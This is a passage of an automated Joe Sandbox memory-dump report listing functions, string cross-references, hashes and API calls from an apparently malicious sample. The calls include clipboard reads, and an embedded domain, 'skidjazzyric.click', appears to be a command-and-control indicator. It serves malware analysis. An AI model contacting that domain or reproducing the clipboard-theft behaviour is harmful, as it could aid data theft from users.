pSlM, xrefs: 00D66406
fjM, xrefs: 00D66BB3
YjM, xrefs: 00D66BF6
y~, xrefs: 00D66283
6y, xrefs: 00D66278

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID: 6$6y$YjM$YjM$fjM$fjM$pSlM$yx$y~${
API String ID: 0-3274899816
Opcode ID: bc5f327942a417dee2b682eabd6953b7f16c8ba3b2a8d42425cd8e85a5eebf27
Instruction ID: 132259efab54860166930d9782c4a175dc0db2446dee4e9e597183629265b600
Opcode Fuzzy Hash: bc5f327942a417dee2b682eabd6953b7f16c8ba3b2a8d42425cd8e85a5eebf27
Instruction Fuzzy Hash: 6E62C0701083418FD724CF28D8A1B6BBBE1FF86314F184A5DE4D68B2A2D735D845CBA2

Function 00D5B280 Relevance: 10.4, Strings: 8, Instructions: 384COMMON

Download Yara Rule

Strings

ox}k, xrefs: 00D5B742, 00D5B76C, 00D5B739, 00D5B695, 00D5B725, 00D5B5A4, 00D5B6A6, 00D5B550, 00D5B6B2
S;G%, xrefs: 00D5B3DB
SV, xrefs: 00D5B66F
x[G, xrefs: 00D5B350
)Ku, xrefs: 00D5B43B
DM_e, xrefs: 00D5B362, 00D5B513
UGEA, xrefs: 00D5B292
c[G, xrefs: 00D5B2BB

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID: )Ku$DM_e$S;G%$SV$UGEA$c[G$ox}k$x[G
API String ID: 0-3323421312
Opcode ID: a0bfbe37aa286ae0dfef8dcc8aa86b559ca517f16b47ff28f3cac5114556a048
Instruction ID: 610aa1b88047fc698194b89816401163e92aea685e394fa894b1709446e0f855
Opcode Fuzzy Hash: a0bfbe37aa286ae0dfef8dcc8aa86b559ca517f16b47ff28f3cac5114556a048
Instruction Fuzzy Hash: 86D1F37150C3408BDB24CF28849436BBBE2AFD1719F18896DECE55B385D775C90E8B92

Function 00D59360 Relevance: 10.3, Strings: 8, Instructions: 272COMMON

Download Yara Rule

Strings

|xzy, xrefs: 00D59438
vxtq, xrefs: 00D59440
ADTD, xrefs: 00D59428
Y, xrefs: 00D594DE
ID, xrefs: 00D593E2
eMOK, xrefs: 00D593F0
E, xrefs: 00D59388
vu, xrefs: 00D594D7

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID: ADTD$E$ID$Y$eMOK$vu$vxtq$|xzy
API String ID: 0-1466227541
Opcode ID: 694bb15107f4bc877fab139e9b3cb1dd418c9edad3bc46051563358933346528
Instruction ID: 18c8add5a35b87193d901c9988ca51737b2e6bcd597c87189f26bf8b695d8952
Opcode Fuzzy Hash: 694bb15107f4bc877fab139e9b3cb1dd418c9edad3bc46051563358933346528
Instruction Fuzzy Hash: 8071023018C3828AD7118F79C4A076BFFE09FA2351F1C496CE8D44B286E379C518DBA6

Function 00D5E16E Relevance: 9.3, APIs: 1, Strings: 5, Instructions: 345COMMON

Download Yara Rule

APIs

CoUninitialize.OLE32 ref: 00D5E17A

Strings

skidjazzyric.click, xrefs: 00D5E631
Zb, xrefs: 00D5E188
UGC9, xrefs: 00D5E2E1
RYZ[, xrefs: 00D5E52E
c[i!, xrefs: 00D5E2CB

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: Uninitialize
String ID: RYZ[$UGC9$Zb$c[i!$skidjazzyric.click
API String ID: 3861434553-1871611232
Opcode ID: 3e42169d4448d494ff857e101747771b5c4ff3c015ff3a27e83bfb30df412970
Instruction ID: ea4addec54cde53b3f9b4b9842ea5299f98594c087d0fa7443754d0b9590a6ec
Opcode Fuzzy Hash: 3e42169d4448d494ff857e101747771b5c4ff3c015ff3a27e83bfb30df412970
Instruction Fuzzy Hash: ADC1E37150C3D08BDB38CF24D4587ABBBE1AFD6305F08496DD8D95B286D778450ACBA2

Function 00D7A7F0 Relevance: 9.3, APIs: 2, Strings: 3, Instructions: 573COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 00D7A8F7
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 00D7A9CF

Strings

*, xrefs: 00D7AC00
q, xrefs: 00D7ADA6
*, xrefs: 00D7AA60, 00D7AA93, 00D7AB95

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: *$*$q
API String ID: 237503144-4001757600
Opcode ID: f189a6e74946f91a06d32d9aa886d7c54dfff2e119ffdde80b85d28ccc9a3332
Instruction ID: 49d26e11a9089cf7b4c9629973bb5f013b34166744d69f07f1020d45cf785f9d
Opcode Fuzzy Hash: f189a6e74946f91a06d32d9aa886d7c54dfff2e119ffdde80b85d28ccc9a3332
Instruction Fuzzy Hash: AF0201B16083158BD724CF28D89136FB7E1FFC5314F158A2DE9998B291EB748909CB92

Function 00D87A60 Relevance: 9.1, APIs: 6, Instructions: 119clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00D87A74
GetClipboardData.USER32 ref: 00D87A8F
GlobalLock.KERNEL32 ref: 00D87AAE
GlobalUnlock.KERNEL32 ref: 00D87BE6
CloseClipboard.USER32 ref: 00D87BF1

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID:
API String ID: 1006321803-0
Opcode ID: 9951c2ea16c13ca59798690abb5e9bbbae970de3b9e3161bff754bbf512d7bac
Instruction ID: 28379aa4d938e4d342343c16275ba74ce27fec296ceac873584f4183c082b4be
Opcode Fuzzy Hash: 9951c2ea16c13ca59798690abb5e9bbbae970de3b9e3161bff754bbf512d7bac
Instruction Fuzzy Hash: C341587150C7818FE300AF78845936EBFE1AB92304F18496EE8C986282D679D58CD7A3

Function 00D69B30 Relevance: 6.2, APIs: 2, Strings: 1, Instructions: 947COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 00D69FF7
FreeLibrary.KERNEL32(?), ref: 00D6A039

Part of subcall function 00D92080: LdrInitializeThunk.NTDLL(00D9523A,00000002,00000018,?,?,00000018,?,?,?), ref: 00D920AE

Strings

mj, xrefs: 00D69F08

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: mj
API String ID: 764372645-1022201683
Opcode ID: 2bd4c3adbdee85124f1b283487b4f09784a9ec9b23bff53058abd954128cf54c
Instruction ID: fa3e6ec9e47ad98effcae0221937bf5d699d98075eab6e331677d6edcd92e2c9
Opcode Fuzzy Hash: 2bd4c3adbdee85124f1b283487b4f09784a9ec9b23bff53058abd954128cf54c
Instruction Fuzzy Hash: A162D0746083419FD724CF28CC55B2ABBE6FB85328F288A1CE4D5972A1E771D845CF62

Function 00D75713 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 346COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 00D75743

Strings

67, xrefs: 00D75B0C

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 67
API String ID: 237503144-1886922373
Opcode ID: dcff9d0050b50f2b586df4bead679f03e38c0c4a46748f326e6089cc008e99fe
Instruction ID: f86e8a814497ca7781b39c23f1756ffbfcb6fb9f20c0f9f28aaed41abbff8bf4
Opcode Fuzzy Hash: dcff9d0050b50f2b586df4bead679f03e38c0c4a46748f326e6089cc008e99fe
Instruction Fuzzy Hash: BBB19BB0508300DBD7109F54E84176BBBE0FF85718F48892EF9889B355E7B98949CBA7

Function 00D75DA0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 232COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00D75E98
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 00D75F24

Strings

23, xrefs: 00D75E1F

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 23
API String ID: 237503144-326707096
Opcode ID: 3b0962f9aad1e60f0487e51868ebcc7f153c5428527920dac312ff62dbb63cd2
Instruction ID: b9583cef3164105634481fa77aa14639d9c3e69fe0c0f22051de0d0f90f5b9a3
Opcode Fuzzy Hash: 3b0962f9aad1e60f0487e51868ebcc7f153c5428527920dac312ff62dbb63cd2
Instruction Fuzzy Hash: 347113B1A04318DFEB20CFA8E841BDEB7B1FB45304F10853DE509AB285E7B5590ACB95

Function 00D79917 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00D79C9A

Strings

67, xrefs: 00D79C0E

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 67
API String ID: 237503144-1886922373
Opcode ID: 6f1fee2c35908d7808cf6947b31993b5ef4d273412e9fb923a16f696048a1279
Instruction ID: 294ae138e5e6fff977b500ccf1f5889b25e53a3b8a51e5d2c62f364cd7fc204b
Opcode Fuzzy Hash: 6f1fee2c35908d7808cf6947b31993b5ef4d273412e9fb923a16f696048a1279
Instruction Fuzzy Hash: 7A61F1B26083409BD720DF24E98175FBBE5EBC4314F19492EF98987341EB31D905CBA2

Function 00D79B7B Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00D79C9A

Strings

67, xrefs: 00D79C0E

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 67
API String ID: 237503144-1886922373
Opcode ID: 023e61a581e04cb106d6606e2f7f4a74de9169ee0bf5c656f63a5310e9db6f5c
Instruction ID: 869493e322409a89c6a20cb124fdeb70baf483777ace360976236a578b7b83c4
Opcode Fuzzy Hash: 023e61a581e04cb106d6606e2f7f4a74de9169ee0bf5c656f63a5310e9db6f5c
Instruction Fuzzy Hash: 1261EFB22083409BD724DF24D99175FBBE5EBC9314F19892DF98A87341EB71C905CBA2

Function 00D87C10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 181COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00D87C52
GetSystemMetrics.USER32 ref: 00D87C62

Strings

, xrefs: 00D87D4F

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 2680879e5ccf49b782f9e1e553e311c803f961a46f518f0202c540edb8426135
Instruction ID: 06448ed79910f6501a7aa3a4c34a39ad9c4b6d83c11d05c2f97a304c6b56e4da
Opcode Fuzzy Hash: 2680879e5ccf49b782f9e1e553e311c803f961a46f518f0202c540edb8426135
Instruction Fuzzy Hash: 49C18BB01193808FDB70DF64D99979BBBF2BB85308F50A92DE4988B350C7B49449CF66

Function 00D77FC0 Relevance: 5.4, Strings: 4, Instructions: 431COMMON

Download Yara Rule

Strings

@-, xrefs: 00D7814C
vC, xrefs: 00D78162
#C}, xrefs: 00D78438
up, xrefs: 00D78157

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID: #C}$@-$up$vC
API String ID: 0-3794437364
Opcode ID: 7d8accde941901b6182c6ffcf49beccba78fe72e065c921a3ff5aab7d65bf608
Instruction ID: f539e1edc6d98b8260656262d7235c49315c1ed9f3a334411d7152b6975e3d4f
Opcode Fuzzy Hash: 7d8accde941901b6182c6ffcf49beccba78fe72e065c921a3ff5aab7d65bf608
Instruction Fuzzy Hash: 33E1E0B1608340DFE724DF24E88476BBBE1FB85304F15882EE5C98B361EB359905CB62

Function 00D7F716 Relevance: 4.1, Strings: 3, Instructions: 366COMMON

Download Yara Rule

Strings

5, xrefs: 00D7FC83
Tx+, xrefs: 00D7FD77
bC, xrefs: 00D7FD1D

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID: 5$Tx+$bC
API String ID: 0-2958649183
Opcode ID: 54570c4b65ec948aac374843e6024717c255fcbb809e39b576e6b2cd4e4a4187
Instruction ID: 509bfe01079cf030ec2221fb1c3914cee95a23251b1cd25ca8d711e875766d53
Opcode Fuzzy Hash: 54570c4b65ec948aac374843e6024717c255fcbb809e39b576e6b2cd4e4a4187
Instruction Fuzzy Hash: 0DB1A27050C3D18AE739CF2984643ABFFE1AF97304F18896DE5D987292E7794805CB62

Function 00D7FB7D Relevance: 4.1, Strings: 3, Instructions: 327COMMON

Download Yara Rule

Strings

5, xrefs: 00D7FC83
Tx+, xrefs: 00D7FD77
bC, xrefs: 00D7FD1D

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID: 5$Tx+$bC
API String ID: 0-2958649183
Opcode ID: 4e87a32be90fb4b69c3b018bb0ce822e929a651c77c96287b7e5664fb817a817
Instruction ID: 94bc44236a8fa297694f2eb905e3c8c149d30e2271e9200c36b6c596f3757b43
Opcode Fuzzy Hash: 4e87a32be90fb4b69c3b018bb0ce822e929a651c77c96287b7e5664fb817a817
Instruction Fuzzy Hash: 28A1B37050C3918BE739CF2984653EBFFE1AF96304F18896DE5C987292E77A4405CB62

Function 00D5D465 Relevance: 4.0, Strings: 3, Instructions: 299COMMON

Download Yara Rule

Strings

skidjazzyric.click, xrefs: 00D5D8C8
/t, xrefs: 00D5D520
F, xrefs: 00D5D52A

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID: /t$F$skidjazzyric.click
API String ID: 0-1019451833
Opcode ID: 77385972358cf2e4afc6c671c554ccc547c9debc0a3830db2014b1ed2bd9640a
Instruction ID: c62dee5a959f2e8a176293479741f0f6180cec7a030872a4b17e84e4d9eb658d
Opcode Fuzzy Hash: 77385972358cf2e4afc6c671c554ccc547c9debc0a3830db2014b1ed2bd9640a
Instruction Fuzzy Hash: 49A1F1B154C3D48EDB31CF2898597DBBFE2ABD6305F09485CC8D84B285D679060ACBA7

Function 00D72880 Relevance: 3.0, Strings: 2, Instructions: 455COMMON

Download Yara Rule

Strings

27, xrefs: 00D72934
!', xrefs: 00D7289A

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID: !'$27
API String ID: 0-1982139352
Opcode ID: 91f08f6ddea915f95d988d3ad5677ae214535aa1b1ed7f3896e8f872c0297288
Instruction ID: 6c1a7dffe6ee58dd4f64578ee14f8d14c58e527f1b8726b4272fbdc7e2d19889
Opcode Fuzzy Hash: 91f08f6ddea915f95d988d3ad5677ae214535aa1b1ed7f3896e8f872c0297288
Instruction Fuzzy Hash: C5C1F4B5A083408BD7249F28CC9277BB7E1EF95324F1DC52CE8898B291F779D9058762

Function 00D695B6 Relevance: 2.9, Strings: 2, Instructions: 363COMMON

Download Yara Rule

Strings

^\, xrefs: 00D698D8
=, xrefs: 00D697CC

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID: =$^\
API String ID: 0-3808277151
Opcode ID: eda4538854f1262aa67d8297e84dcd183b0284817a0305a94801c7f2d98361bb
Instruction ID: e5f98d90137b4520d3ba07631a10e64ab614dbadc0c15e3322fea8398418718a
Opcode Fuzzy Hash: eda4538854f1262aa67d8297e84dcd183b0284817a0305a94801c7f2d98361bb
Instruction Fuzzy Hash: 63B1E9756483418BC724DF24C8A17BBBBE5EFD5315F08892CE8D58B781E7788809C7A6

Function 00D8E6E0 Relevance: 2.0, Strings: 1, Instructions: 749COMMON

Download Yara Rule

Strings

XY, xrefs: 00D8EBE7

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID: XY
API String ID: 0-554446067
Opcode ID: 1ccf8ec647cb7ec3da49fbff924dce32a12919c1016dd6be14ad795e2500e711
Instruction ID: 7dd0e216103cba9b136dda7f98647cd0bcda111cc5c4284f71563bb0e24d60a1
Opcode Fuzzy Hash: 1ccf8ec647cb7ec3da49fbff924dce32a12919c1016dd6be14ad795e2500e711
Instruction Fuzzy Hash: C3322036A18351CBC714AF28D91236BB7E1FF95300F09C96ED485873A1E7B8C955CBA2

Function 00D7AF92 Relevance: 2.0, Strings: 1, Instructions: 719COMMON

Download Yara Rule

Strings

q, xrefs: 00D7ADA6

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID: q
API String ID: 0-3900047139
Opcode ID: 65cd8b5eca63c78b10d65a1025a03d9ff75ba12f3791f6e9fd8f52754e92232b
Instruction ID: a60aa0aa7bfc11febd19f847b1a4f019c2f2f68ba53f6fdaee8adbd19b60389d
Opcode Fuzzy Hash: 65cd8b5eca63c78b10d65a1025a03d9ff75ba12f3791f6e9fd8f52754e92232b
Instruction Fuzzy Hash: 3022F1B46083018BD714CF68C8A176BB7F1FFD6314F18896DE8898B395E7788905CB66

Function 00D937D0 Relevance: 1.9, Strings: 1, Instructions: 647COMMON

Download Yara Rule

Strings

UUK, xrefs: 00D93D79

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID: UUK
API String ID: 0-1743445028
Opcode ID: 2ef60a1598d511d0d1dbec894d9d784489a1c0fa42aac59e6f2c84e279f1f4ad
Instruction ID: 871a3419bb4380f1833a838cddaa28be6a5b4e4837f319a569882ace1e59f647
